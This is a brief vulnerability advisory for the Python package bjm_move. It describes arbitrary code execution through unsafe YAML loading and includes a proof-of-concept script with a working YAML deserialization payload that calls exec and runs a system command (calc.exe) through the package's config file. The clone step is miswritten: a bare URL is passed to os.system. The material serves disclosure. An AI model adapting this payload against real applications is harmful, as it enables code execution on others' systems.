bjm_move

vulnerability arbitrary code execution
severity 8.8
language python
registry other

Description

bjm_move package is vulnerable to Arbitary Code Execution due to insecure yaml desearilization.

Vulnerability

Vulnerable to YAML deserialization attack caused by unsafe loading.

Proof of Concept

steps to reproduce:

import os
os.system('https://github.com/lynchmv/bjm_move')
os.chdir('bjm_move/')

payload = """cmd: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('calc.exe')"
"""
open('db_config.yml','w+').write(payload)
os.system('python3 bjm_db.py')
  • python3 exploit.py

Impact

Arbitary Code Execution